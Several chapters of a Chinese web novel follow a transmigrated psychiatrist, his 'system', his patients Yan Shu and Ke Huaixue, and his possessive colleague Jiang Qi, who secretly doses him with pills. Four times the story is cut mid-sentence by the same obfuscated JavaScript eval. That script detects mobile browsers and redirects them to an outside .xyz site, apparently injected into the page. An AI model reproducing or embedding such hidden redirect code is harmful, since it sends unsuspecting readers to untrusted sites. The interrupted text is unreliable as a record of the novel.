【只是我一早就跟您说过，我汇报的只是初始数据，剧情后续变化可能随着您的动向而变化，还有数据提供不一定百分百真实，俗话说事物不能只看表面，具体真相如何，需要靠您自己挖掘的。】 “没用就是没用，别找借口。” 【呜呜呜呜呜……】 “闭嘴！” 许时清承认自己有点得理不饶人。但他的心情实在差劲，现实世界一堆破事，意外穿越来到这个鬼地方，感觉所有人都在故弄玄虚，越想越觉得烦躁，能让他发泄倾诉的对象，也就只有这个破系统了。 到了病房前，他调整了一下呼吸，然后才敲门进去。 今天上午要接待的是第三位攻略对象，也是要出场的最后一位，言书。 凌燚脾气火爆目中无人，柯怀雪心理创伤过度依恋，江起暂时不做评价，但就到底有没有男朋友这件事，许时清对他意见也很大。 综合对比之下，言书好像才是这里唯一的正常人。刚才许时清翻看了病案本，里面写到言书待人温和有礼，没有明显的精神病倾向，只是因为家属要求，以同性恋的“罪名”把他强行送来了。 许时清不认为这是病，所以言书在他这里和普通人无异。推门进去，病房里却没有人。 应言书父母的要求，言书是被安排一个人住的，他的房间只有一张床，角落有一张书桌，旁边还有书架，上面摆满了书。不愧是优等生，被关到精神病院了也没忘记看书学习，许时清佩服佩服。 许时清走进房间，打量起了言书的书架。《梦的解析》、《津巴多普通心理学》、《路西法效应》…… 打眼看过去，竟然全都是和心理学相关的书籍。这是言书的个人爱好吗？ 他正思索时，背后响起话音：“许医生？” 许时清回头，正和言书对上视线。 言书瞧着也高挑，不比江起健硕，但也没柯怀雪那样瘦弱，介于二者之间。乌发如墨，眼神清明，笑起来莫名给人心安的感觉，他笑着说：“您来了。” “嗯，”许时清点头，“你现在有空吗？我想给你做做心理评估。” …… “你先填一下这份表吧。” 来到许时清的办公室，落座后，许时清递给言书一份表和一支笔。 “好。” 言书全程都很配合，是个和柯怀雪一样的乖小孩，许时清对乖孩子就是有天然的好感。 这种时候他忽然又记起了迟冬。记得高三毕业那个暑假，亲戚家有个小孩儿来本地玩，因为有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16438155|184991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别的安排，暂时把孩子托养在许时清家几天。 许时清对小孩没什么特别的感觉，只要不吵不闹都好说。但那小孩非但不闹腾，反而很亲人，一见了许时清就“哥哥哥哥”地叫，或是追在人屁股后边跑，许时清去哪儿他去哪儿，许时清看书，他就坐在边上翘着腿陪伴。 于是许时清对小孩有求必应。想吃麦当当？买！想去游乐场？去！想玩会游戏？玩！……最后看得迟冬都眼红了，小孩被送走的那天，他忽然扑过来缠着闹着要叫许时清“哥哥”。许时清叫他滚。 “人家才五岁，你今年几岁了？” “你管我几岁？再怎么长你也比我大一岁啊，叫你哥哥都不行了！” “滚。” “……” …… “许医生？” 糟糕的回忆结束，许时清被言书的声音拉回思绪。发现言书正对着他笑，把表格推到他面前：“我填完了。” “噢，好。” 许时清感觉自己一定是太累了，所以老是想东想西，他拿起那份表格装模作样地看起来，又听见言书问他：“您刚才在想些什么呢？感觉好投入。” 许时清笑笑：“没什么。只是昨天晚上可能没休息好，有点犯困？” “是这样啊，”言书盯着他领口的位置看，“您昨晚是被蚊子咬了吗？” “嗯？” 许时清没反应过来，低头看自己的领口。 他昨天穿的水色衬衫，今天早上换了件白衬衫——是在江起家换的。许时清不知道为什么这家伙家里会有自己穿过的衬衫，江起解释说，之前有一次他来喝酒，不小心把衬衫弄脏了，回去的时候穿的江起的衣服。后来江起洗好这件衬衫，忘了及时给他送回去了。 许时清穿衬衫有个习惯，最上面两颗扣子不扣，领口向外敞开，美观又透气。许是早上走得急，他没注意到自己锁骨和脖子上什么时候多出了两个红点。 “这个是……”许时清下意识挠了挠，感觉不怎么痒，他随口说，“应该是蚊子叮的吧？” 许时清不想纠结莫名的蚊子包，便岔开话题：“我大概看了一下，你的心理状态应该是没有什么问题的，各方面都很正常。” “但是，想要出院的话，需要你的监护人签字，”许时清看着他，“入院之后，你有打电话跟父母沟通过吗？” 言书看着他的眼睛，摇摇头。 半晌，言书忽然说：“许医生，您也觉得同性恋是种心理疾病吗？” “当然不是了！”许时清回答得很果断，这本就是他发自内心的想法，“性取向说到底也只是个人选择而已，只要不在影响他人的情况下，自己能对自己的选择负责，那就完全没有问题的。” 言书点点头，又问：“那许医生喜欢男生还是女生呢？” “……欸？” “我说，许医生现在有没有喜欢的人？” 言书说着，慢慢靠近他，笑容越来越深，轻柔吐字：“如果暂时没有的话，许医生能考虑一下喜欢我吗？” “……” 别搞。 ——你真别搞啊？！！！ 5. 被小朋友戏耍了 “许医生能考虑一下喜欢我吗？” “……” 不开玩笑，听见言书说完这句话，许时清感觉大脑的褶皱仿佛都被抚平，仿佛漫步在挪威的森林。 谁能来告诉他，他们上一秒分明只是在做心理评估测试，而且他总共跟言书说的话不超过十句——为什么这个人就直接说喜欢他了？！！ 你们男同都是这样随便的吗？许时清欲哭无泪，能不能不要老是把心跳加速的感觉当成心动啊，指不定是你们心脏病犯了呢？！ 见许时清不语，言书又再追问：“可以吗，许医生？” 主打一个乘胜追击，不给人仔细考虑的时间。 “呼……” 许时清深呼吸，安抚一下自己可怜的小心脏，然后微笑着说：“言书同学，你是在恶作剧吗？” 言书摇头：“我是认真的。” 许时清气极反笑：“但我有点不太理解呢？我只不过是你的心理医生而已，除了正常的治疗流程之外，我们也没有什么特别的交集，所以我实在是无法理解……你为什么会喜欢上我呢？” 他只当对方是一时糊涂、在说玩笑话了。但是，言书明明和他同龄，学历见识应该也比他高，应该不存在像小孩那样幼稚犯傻的情况。许时清感觉心里很没底。 “喜欢一个人，一定要很特殊的理由吗？”言书像是在问他，又像自言自语，“那我可能比较特殊吧，我从见到许医生的第一眼，就忍不住对您动心了。” “……” 【嘿，这不就是见色起意吗？】 许时清无语的时候，系统冷不丁跳出来插话，总算是说了句人话。 【啊，不过对清清大人见色起意也是人之常情。唉，要是能重来，我也要在娘胎里给自己搓一根作案工具了！】 许时清：“……？” 你们这个破系统居然还有性别之分啊？！ 槽点太多，不知从何说起，总之眼下得先打发掉言书才行。 病案本里，言书的资料页特地记录了一行小字，他的父母都是大学老师，高知分子，似乎对言书有着近乎苛刻的高要求，说白了就是绝对的控制欲。大到升学和工作，小到有什么穿衣风格、去什么地方见什么人，都要事无巨细地管理。 在这样的生活环境下，言书竟然没有明显的精神疾病，抗压能力也太强了。但上来就跟人家表白的习惯还是不太好，许时清得帮他纠正纠正才行。 “言书同学……哦不，应该是言书先生，我们是同龄人，想必很多我懂的道理，你应该也知道，说不定懂得还比我要多，”许时清试图把他掰回正轨，“所以我觉得，你在做决定之前应该深思熟虑。” “你这样的话，可能会给我带来困扰的。” 言书若有所思：“您会很困扰吗？但是您好像也没有谈恋爱……还是说，您觉得我很差劲呢？” 他说着，慢慢低下头去，看起来有些失魂落魄。许时清觉得自己像被人架在火上烤，烤得滋滋冒油、外焦里嫩那种。 “我也没有，只是我……”许时清欲言又止，咬咬牙说出口，“我不喜欢男生，我接受不了和他们发生亲密关系，你能理解吗？” 听见这话，言书忽然笑，问他：“亲密关系？那许医生觉得，亲密到哪种程度让你无法接受呢？” “是拉手、拥抱这种肢体接触？还是接吻这种行为？更进一步的话，那就是上……” “你打住！” 许时清听不下去了，言书瞧着仪表堂堂，说这话时一本正经，说话的内容却完全是在骚扰了。许时清感觉自己脏了耳朵，这人说话怎么能这样呢？ “我、我应该都不能接受，”许时清不想再继续这个话题了，脸颊都开始微微发烫，搪塞说，“我可能更喜欢柏拉图吧？” 言书：“噢……许医生要是喜欢柏拉图，那性别其实也不太重要的，是不是？” 许时清：“……” 算我求你了，咱们跳过这个话题好吗？ 他叹气：“那我就直说了，作为一名医生，我不觉得和病患谈恋爱是合适的行为。所以我暂时不会考虑的。” “那出院之后呢？”言书还不死心，“出院之后，我就不是许医生的病人了，那时候许医生可以跟我试试吗？” 许时清实在头疼，“再说吧。我最近工作很忙，暂时不想纠结这种问题。” “好的，那我就先不打扰了，”言书说完，起身离开，临走前嘱咐，“您也不要太操劳，要多多注意身体才对。” “嗯，谢谢你，我会的。” 少一点你们这样的病人来气我，我也就不那么操劳了。 言书走了，许时清揉着发疼的太阳穴，感觉脑袋还是有点晕。他的酒量有这么差么？ 【唉，我们清清大人好像被小狗勾戏耍了呢～】 “你闭嘴。”许时清现在正烦着呢，这系统还偏要往枪口上撞。 【我只是实话实话啦！明明你才是心理医生，怎么感觉那家伙好像在引导你说话一样，难道你就没有发现不对劲么？】 引导？许时清后知后觉……好像真是这样。言书的告白实在是太唐突了，他自然乱了阵脚，后面都在跟言书迂回，态度也太不强硬了。 不行，下次一定要硬气一回！许时清暗暗地想。 【还有，我给清清的金手指也要记得用啊！】 许时清：“你那算什么金手指啊？要用听诊器才能听见别人说什么！”而且他昨天第一次用，就被凌燚那混小子骂狐狸精屁股翘，真是越想越生气！ 【哼哼，兴许是你没用对方法呢？读心术怎么可能会没用！】 “行，那我等会儿就用，反正我下午还要去见柯怀雪。”许时清也跟它杠上了，他今天非不信这个邪。 —— 午饭是在食堂吃的。 精神病院的食堂比想象中的要大。只是餐食感觉很一般，炒菜看起来都没什么油水，吃起来一股酱油味儿，米饭也干巴巴，许时清就着水才能吃下去几口。 “怎么吃饭也不等我？” 是江起的声音，这个人总是随时随地出现，手里拎着一个外卖袋，放在桌上，着手拆开。 “因为我饿了啊，你也没说要跟我一起吃，”许时清用筷子扒弄盘子里成坨的米饭，忽然想起什么，又装作不经意地问他，“你怎么不跟你对象一起吃啊？” 江起把几份菜挨个摆出来，再递给他一盒米饭，说：“我们又不在同一个工作单位，开车来回至少要半个小时多了，太不方便。” 许时清：“打视频也可以啊，你们还能聊聊天说说话，不然这个恋爱谈得可真没劲……” “清清。” 江起打断他，他抬头，正对上江起直勾勾的眼睛，“看来你真的很在意我谈恋爱这种事。” “你很不喜欢他吗？如果是这样的话，我也可以跟他分手。” 许时清：“……？” 不是，他说什么了？怎么就看出来不喜欢了！他不是叫江起多陪陪男朋友，别老是来找他吗？！ “你可别给我扣帽子！虽然我们从小一起长大，但你的恋爱自由我可是不干涉的，你跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16438156|184991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谁谈都不关我的事，想谈几个谈几个！”许时清紧急挽救局面，“也千万别说因为我要跟人家分手这种话，那我岂不是里外不是人？” 他如临大敌，坐在对面的江起却发笑，笑声清脆，之后又说：“你好认真啊，清清，这副样子真的太可爱了，每次我跟你说什么事，你都总会当真的……看来真的不适合跟你开玩笑？” 许时清：“……” 我请问这种事情是能拿来开玩笑的吗？ “好了，不逗你了，我没想过要跟他分手，”江起说着，也拆了自己的筷子，第一筷先给他夹排骨，“毕竟我和他要在一起一辈子的呢。” “哈哈，那你们感情可真好。” 所以你有空就去找他，别再来找我了呗？ 这话许时清不敢说，只是闷头扒饭。 嗯，这饭好吃，口感松软、粒粒分明，食堂做的米饭简直是浪费粮食！ —— 吃完午饭，在办公室休整片刻，许时清趁机补了个觉。 他的办公室没有床，只有一张沙发，比较逼仄，躺上去不大舒服。江起便提议说，自己的办公室，让许时清过去睡。 许时清这次没拒绝。一是系统要求，二是江起说了，他没跟那个男朋友有分手的打算，关照他只是出于发小情谊。再者，这里是在医院，到处都是监控，许时清不觉得他能做出什么事来。 江起的办公室比他的稍大些，除了诊治办公的地方，旁边还多出来一个小房间，作为专门的休息室，里面摆了一张单人床和一张沙发。 “你就在这里睡吧，不会有人打扰的。” 江起给他找来一条毯子，他接过，往身上一盖，因为困倦得紧，很快就睡过去了。 午睡的时间，许时清似乎做了个梦，梦的内容模糊不清，他也形容不出来。但那应该是个噩梦，迷迷糊糊之间。 他感觉不安，朝外伸出手，什么都没捞到，刚要收回去时，就被人捉住了手腕。许时清又没了反应，过了一会儿，再感觉身上一沉，有什么东西压上来似的。 他想睁开眼，却做不到，梦里黑暗一片，他呼吸渐渐困难艰涩起来。他这是被梦魇住了吗？ 许时清不知自己在梦里挣扎了多久，最后猛地从床上坐起——梦终于醒了。 他惊魂未定，一时间分不清是梦境还是现实。反应过来之后，惊觉自己出了一身冷汗。 “清清？” 门外是江起，他问：“你还好吗？” “我、我没事。” 许时清缓和一阵，总算冷静下来。好奇怪，他分明记不得那个梦里有什么了，却还是会感到心悸恐慌，不敢再继续睡了。 看一眼时间，下午两点半，差不多可以去看柯怀雪了。他收拾好床铺，从房间里出去，江起给他递了一杯水。 “做噩梦了吧？我听见你好像在说梦话，但没叫醒你，”江起递来温水，“喝点水吧。” “谢谢，”许时清接过喝了一口，下意识摸了摸自己的额头，“嗯，可能是最近太累了？我今晚一定要好好休息。” 江起：“好，晚上我还来接你下班。” 许时清应了一声，喝了半杯水，就走了。 他走之后，江起端起桌上剩下那半杯水，杯子转了一圈，对准刚才许时清用过的位置，喝了一口水。 这个动作他做得流畅又自然，好像此前已经做过许多次。喝完水，江起拉开抽屉，翻找出一板药片，已经用过两片，还有一个格子里放着剩下的半片。 早知道该多放一点儿的。 他想。 6. 乖小孩不乖 去见柯怀雪之前，许时清先带上心理评估测试表和听诊器，临走的时候，没忘记拿蛋糕。 是今天早上买的。难为他在头昏脑胀的时候还能记起这档子事，江起开车穿过市区的时候，他叫人停车，说要下去买甜点吃。 最后买了一个樱桃巧克力的，也不知道柯怀雪会不会喜欢。 江起看着他说：“清清现在喜欢吃甜食了吗？” 许时清笑笑：“还好吧？偶尔换换口味嘛。” 他也不知道自己为什么要撒谎，作为心理医生，想让病人开心起来所以给人买甜品，这应该算不得很过分的事。但很江起相处时，他总觉得有莫名的压力，不自觉地就想要撒谎。 好在江起没看出什么端倪，重新发车，路上又告诉他说，如果许时清喜欢的话，他下次也给许时清带一份。许时清敷衍说“好”。 …… “叩叩。” 许时清推门进去，柯怀雪已经坐在床边等他了。 房间里有电视，但许时清问过照顾他的工作人员，说柯怀雪几乎不看电视，他去打扫卫生的时候，柯怀雪大部分时间都是在画画，要不就站在窗边发呆，看见有人来了，第一反应是警戒，往角落里躲，对谁都很防备的样子。 “唉，这孩子能接纳的只有许医生您一个了吧？反正我是不敢多待，每次倒掉垃圾、简单拖拖地之后就走了，再多留一会儿，我都怕他攻击我……” 许时清笑：“哪儿有这样的事？小柯看起来也不像是这种人。” 没错，他都已经叫上“小柯”了，因为柯怀雪在他心里完全就是孩子，所以相处起来要稍微亲切一些。 听见这话，那人却摇摇头，望一望周围，见四下无人，他凑近了问：“许医生，难道您不知道吗？” “知道什么？” “柯怀雪这个人，之前有故意伤人的案底……” …… “许医生，你来啦。” 看见许时清的那一刻，柯怀雪了无生机的脸上终于浮现一点笑容。他的头发有点太长了，长度及肩，前面细碎的刘海盖过眼睛的一半，所以看起来总是很阴郁的样子，许时清觉得自己有空应该带他去理个发才对。 “嗯，”许时清关门，走近，把蛋糕盒放在桌上，“给你带了想吃的甜点，我没失约吧？” “就是画笔今天没来得及买，我出门的时候有点晚了，下次给你带，行吗？” 柯怀雪正在慢吞吞拆开那个蛋糕盒，听见这句话，抬头看他，“意思是，我明天也可以再见到许医生吗？” 许时清：“当然可以的，如果你想的话，我每天都可以来看你。” 柯怀雪肉眼可见地更高兴了，许时清便坐下来，递出那一份心理测试表。 “不过蛋糕得等会儿再吃了，我们现在先做一个小测试，可以吗？”他对待柯怀雪就像哄小孩那样，循循善诱。 柯怀雪用力点头，看他这副极力配合的呆瓜样，许时清实在没法把眼前这个瘦弱又乖巧的孩子，和那名工作人员口中说的“持刀恶意伤人”的家伙联系在一起。 他放下蛋糕盒，歪头看着许时清：“需要我做些什么？” 唉，许时清突然开始理解大人们带小孩儿会偏心了。遇见皮孩子别提多烦心，难得看见个乖巧的，怎么能不喜欢呢？ “你需要填这张表，不过在这之前，我还想测一下你的心率。” 许时清先把表单推给他，再取出自己的听诊器，朝人走近。见此柯怀雪很见机地拉开衣服，好让他的手探进来。 说实在的，许时清也对柯怀雪感到好奇。这个看起来瘦弱无助的孩子，内心到底会有怎样的想法呢？ “咚，咚。” 又是两声心跳，像是风暴来临前的预警，然而许时清对此毫无防备。 【许医生好漂亮。】 这是柯怀雪的第一想法。 【眼睛漂亮、鼻子漂亮、嘴唇也漂亮，笑起来也好温柔，要是可以一直看他笑就好了。】 听清柯怀雪的心声，许时清忍不住露出笑容，看来这人比他想象中的还要单纯可爱，也不枉他…… 【要是都是我一个人的就好了。】 ……什么意思？ 【想把许医生也关起来。最好只有我们两个人，除了我以外，再也接触不到别人。】 【如果是那样的话，他会哭吗？哭起来应该也好看，我还没见过许医生掉眼泪的样子呢。再过分一点的话，我们可以——】 “咳咳、咳！” 许时清突然剧烈咳嗽起来，柯怀雪便替他拍背顺气，然而刚刚抚上对方的脊背，许时清就不着痕迹地避开了。 柯怀雪没计较，又关切地问：“您还好吧？” “我没事，”许时清缓过劲来，给自己顺顺气，他憋出一个笑，“可能最近有点感冒，正常的。” 正常个屁。许时清现在真感觉这里没一个正常人了。 凌燚是个顺直暴力狂，江起是故弄玄虚谜语人，言书表面优等生、实则四处留情桃花泛滥。本以为仅剩的柯怀雪会是个乖小孩，结果心思竟然也这样不单纯？不是说以前遭受过严重的心理创伤么？怎么YY起这种事情来一套一套的！ 一群疯子、神经病！许时清深觉自己不该对任何人有念想，他们一个个都这样没下限，真是白费他的善心了！ 柯怀雪又说：“那您一定要记得注意身体……”他的目光瞥向别处，忽然冷不丁冒了一句，笑笑说，“难道江医生没有照顾好您吗？” 江医生？这跟江起有什么关系。许时清没搞明白他的潜台词，但也不想在这里呆了。 见他起身，柯怀雪慢慢眨眼，问：“您又要走了吗？” 许时清：“是的。”他跟这群变态没有半点共同语言，可不想被污染了。 柯怀雪垂眼：“但我的测试表还没有填，蛋糕也没有吃。” 许时清答：“你按照你的情况如实填写就好，蛋糕也是给你买的，当然要你自己享用。我明天再来看你吧，拜……” 说着话，他转身欲走，却感觉有人拉住了他的衣角。一回头，正对上柯怀雪水汪汪的眼睛，眼角泛红、惹人垂怜。 ——哭、哭了？！ 不是哥们儿，别搞行不行？他刚才说什么过分的话了吗？没有吧！ 许时清一时语塞：“你、你哭什么？我刚才应该……” “不，跟您没关系的，”柯怀雪一边说着，一边用手背抹眼泪，又吸鼻子，“都是、都是我自己的问题。是我的错，我很抱歉，不该让您困扰，真的……” 这都什么跟什么？许时清刚才的确是吐槽了他两句，但也没摆在脸上，柯怀雪总不能跟他一样有读心术。 许时清在心底叹气，这几个人真是想一出是一出的。怪不得心理咨询费用高呢？摊上这么些个神经病，挣的那点窝囊费估计得拿去下班后给自己看心理医生了。 理智告诉他，柯怀雪并不像表面那样单纯，他应该立刻走了；但又始终迈不开步子，他承认他心软，没法面对这样的场面坐视不理。 于是许时清还是留下了，问他说：“小柯，你是有什么烦恼吗？都可以告诉我的。” “我、我，呜呜呜……” 柯怀雪不语，只是一味扑在他怀里哭，泪水温温热热的，有些抹在衣服上，有些抹在许时清手上。说实话，许时清有点嫌弃，但他没敢表现，只默默从兜里掏出半包纸给人擦擦。 哭到后面，柯怀雪情绪越来越激动，他渐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16438157|184991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渐失控，呼吸都要不顺畅了。 给许时清吓够呛，刚刚是柯怀雪给他拍背，现在轮到他给柯怀雪顺气，边拍边问：“别太激动，有什么想法说出来就好，不要给自己压力了，好吗？” “好。” 哭了足足四五分钟，柯怀雪总算冷静下来，他眼睛都红肿了，配合那张微微圆润稚气的娃娃脸，看起来要多可怜有多可怜。许时清差点又心软了。 不行！看人不能看表面，柯怀雪刚刚可是在…… “许医生，我好想和你多呆一会儿，”柯怀雪看着他的脸，一字一句认真说，“这里有那么多人，我就只喜欢你一个。” 你说的喜欢是哪种喜欢？因为有言书这个先例，许时清真想问他这句话，但现在不太合时宜，便拐个弯问：“是吗？那小柯为什么会喜欢我呢？” 别又是对他一见钟情吧？一群只会下半身思考的东西。 柯怀雪认真说：“因为你对我最好了。” 他说着，低下头：“我没有亲人，身上也没什么钱，是许医生主动接待我，说要给我治病，还会记住我的喜好，给我买蛋糕和画笔……这些我都记着。” “……原来是这样吗？” 听他这么一说，许时清似乎有点理解他刚才的想法了。 柯怀雪点点头，又往下说：“因为我从小到大都没什么朋友，许医生是第一个主动和我交朋友的，我很感激，但是……” 他说着，笑容又敛下去，“但是许医生好像不太愿意一直和我待在一起，和我在一起，也只是问几个问题，然后又走了。我知道我很糟糕，要是我的性格再好一点，许医生是不是就愿意留下来陪陪我了？” 噢，天呐。 不管这段话有没有表演的成分，至少在此刻是彻底打动许时清了——天杀的，他真的该死！柯怀雪只是把他当唯一的好朋友而已，他怎么能有那么龌龊的想法呢？！ 这全都要怪迟冬！当然江起也不是个好东西——言书更不是！纯洁的友谊就是被这群人污名化的，害得他现在也草木皆兵了！！ 许时清说：“那你想要我留下来陪你吗？” 柯怀雪眨眨眼：“现在？可以吗。” 许时清微笑：“当然可以，我也不介意加个班的。” 他选择留下，柯怀雪立刻又喜笑颜开。先擦干净脸上的泪痕，再端起桌上的蛋糕，一口接一口吃了起来。 他是从蛋糕底开始挖的，一层层向上挖，最上层的那颗大樱桃却一直没动。许时清正在发呆呢，一颗艳红的樱桃就递到他唇边了，再一抬头，正对上笑眼弯弯的柯怀雪。 “许医生，给你吃。” “我不……” 许时清本想拒绝，但又害怕柯怀雪因此多想。高敏感的人就是会因为这种微不足道的小事纠结痛苦，他便张嘴吃了。 樱桃上还沾着些奶油，许时清张嘴咬进去吃，唇边也沾了些奶油。 刚把樱桃从叉子上叼下来，他嚼了两口，想说“这樱桃真甜”，背后却率先响起话音。 “清清？” 来者是江起。 许时清根本就不知道江起什么时候来的，还算宽敞的病房里，此刻有三个人，他莫名觉得空间很逼仄，有点压得他喘不过气来。 江起虽然嘴上在叫他的名字，目光却略过他，径直射向更远处的柯怀雪。四目相对，他看见柯怀雪对他露出一个笑。无声的挑衅。 江起便又移开视线，对人说：“我在下面等你很久了，原来你在这里呢。” 不等许时清答复，他又说：“下次要去哪里，见什么人，都要跟我知会一声，知道吗？不然我会担心的。” 许时清：“哦。” 太平洋警//察驾到，统统闪开！ 7. 小三竟是我自己 江起进门之后，房间里再无人说话，空气安静到诡异。 许时清适时弱弱地开口：“我只是多陪了一会儿病人，哪儿有你说的这么严重？” “是吗。” 江起不咸不淡，看一眼手表，“但现在已经不晚了，有什么话，明天再说也不迟吧？——又不是明天就见不到了。” 不知为什么，许时清总感觉他说话夹枪带棒的，到底什么意思啊？他又没做错什么。 正思索的时候，身后的人拉拉他的手指，柯怀雪的体温有点凉，指尖也冷，“许医生，那您就先回去吧。” 许时清正要回复，他又歪头说：“那我明天还可以再见到你的，对吗？” “当然了，答应你的事情，我都会做到。” 许时清微笑着和他告别，走出房间，关上房门。 现在是晚上八点半，外面的天已经全黑了，走廊里的白炽灯光线昏暗，长廊空空荡荡，瞧着怪吓人的。 两人肩并肩向前走，许时清低头玩手机，并不想跟这个家伙搭话，走到电梯门前，刚按下按钮，电梯上行，背后的人忽然开口：“清清。” “嗯？” 江起：“你最近……是不是和病人们走得有点太近了？” “……” “江起。” 虽然不想理会江起无用的情绪，但许时清觉得自己有必要为自己正名一下，他本来也没做什么逾越的事，“我提醒你一下，我是个心理医生，和病人拉近关系、沟通交流，让他们充分信任我，从而引导他们正视自己的问题，这是我的本职工作。” 电梯门开了，光透出来，照在许时清的侧脸上。江起盯着他的脸，笑出了声：“本职工作？也包括记得他们的所有喜好、事无巨细地关照，甚至嘴对嘴地喂蛋糕吗？” 许时清懵了：“你从哪儿看出来‘嘴对嘴’了？”他们不过是公用一个蛋糕叉而已吧？江起少造谣了！ 电梯门又再关上，空间重归黑暗。 “清清，我们从小一起长大，你是我最好的朋友。” 黑暗里，他看不清江起的神情，但也能察觉到江起的情绪波动，字句都恳切：“但你都没像关照他一样关心过我。我从前以为你是不懂，现在才发现，你只是不想这样对待我而已。” 许时清：“……啥？” 他做什么了？不就给柯怀雪买了个蛋糕吗？一个十九块九，你都住高档小区花园别墅了，你要喜欢吃自己去买啊！！ 许时清跟江起真是没什么好说的，有钱人就是矫情。他再按一遍电梯，门开了，闪身走进去，江起才跟进来。 电梯缓慢下降，空气又安静了。江起问他：“你是生气了吗？” 他犹豫地开口：“我没有指责你的意思，只是我害怕，你会因此引起不必要的麻烦。” “如果你实在比较关照柯怀雪……我可以替你照顾他？我的经验应该要比你更丰富，我懂分寸。” 许时清满不在乎：“哦，那你去呗。” 刚好他还想甩掉这个烫手山芋呢？你们四个人没一个省油的灯！ 电梯门开了，许时清急匆匆要走，却被江起拉住手腕。他没有防备，被那股力一拽，就被人抵在墙上了。 “你这人……” “别动。” 江起刚才还柔声细语跟他道歉协商，这会儿突然就变了一个人似的，声音冷冰冰，竟然把许时清吓住了。 可眼前的人还是那个人，江起垂眼，专注地盯着他的脸。 半晌，江起伸出手，许时清下意识闭上眼，对方却没做什么过分的事，只是用略显粗糙的指腹，擦去他嘴角沾染的一点奶油。 “都脏了，”江起说，“下次要吃蛋糕的话，我给你买，好吗？” “……” 江起真的没有精神病吗？许时清好想报警了！ 他一把推开身上的人，决心今晚也不要再坐江起的车。这个人情绪也不太稳定，保不齐会在车上做出什么事来。 冲出大门，许时清忍不住回头看了一眼。还好还好，江起没追上来，要是这时候开启一场追逐战，估计他都要被吓出心脏病了。 精神病院坐落在偏郊，要想打到车，许时清至少得走两千米。没办法，拒绝了江起，他也只能这样了。 月色皎皎，走到一半的时候，许时清忽然灵光一现，他开口：“系统，你说……” 【清清大人有何指教？】 “江起他……” 【嗯嗯。】 “是不是喜欢柯怀雪啊？” 【……？】 这个问题甚至让系统都沉默了，好一会儿才答复：【嗯、我比较好奇，你得出这个结论的依据是什么呢？】 许时清沉浸在自己的世界里，有模有样地分析起来：“你看，江起他一直说自己有男朋友，但这件事他只敢告诉我，不敢告诉精神病院里面的其他工作人员，是不是说明他跟他男朋友的关系，不是特别光明正大？” 【啊啊，是是！】 “然后呢？江起明明也已经有男朋友，却一点也不粘对方，说想找人喝酒，结果找不来男朋友，吃饭的时候也不跟对方一起吃，还不打电话视频。” 【这又说明什么呢？】 “说明他男朋友根本就不方便啊！谁谈恋爱不喜欢粘着对象啊？指定是他没法跟他男朋友时时刻刻在一起。” 【嘶，你说的道理我都懂，但为什么对象一定是柯怀雪？】 许时清神秘一笑：“这你就不懂了，刚刚他那副样子还不够明显吗？柯怀雪只是喂了我一口蛋糕，他就要死要活的，还说以后想吃蛋糕他给我买，潜台词不就是让我不要再找柯怀雪一起吃了吗？” “加上后面又说，他可以替我照顾柯怀雪。呵呵，我自己的病人关他什么事啊？除了吃醋我再也想不出第二个理由了！他俩肯定有一腿的，所以我夹在他们中间很像个小三！” 系统：【……】 小弟膜拜膜拜。 这一套操作推理下来，敢问您的脑细胞都要死完了吧？ 许时清没觉得自己的推理有什么问题，还在沾沾自喜：“你之前还不愿意告诉我江起对象是谁呢？还好我猜出来了，不然就要酿成大错了！” 柯怀雪本就心思敏感、情绪脆弱，好不容易谈了个男朋友，要是被他插足一脚横刀夺爱，指不定会做出什么事情来呢？许时清决定及时止损，从今天开始，他要和江起保持距离了！ 【你，唉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16438158|184991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，我，不是……】 算了！对直男宿主还能有什么高要求？他能看出这两个人的关系不对劲，就已经是极限了！ 一刻钟后，许时清终于走到目的地，这里有条公路，应该可以打到车了。 等待出租车的功夫，许时清没事做，刷视频打发时间，忽然收到一条消息： 【为什么你总这样随便呢？我有时会想，您到底是真的这样狠心，还是只是在掩盖自己的真面目。】 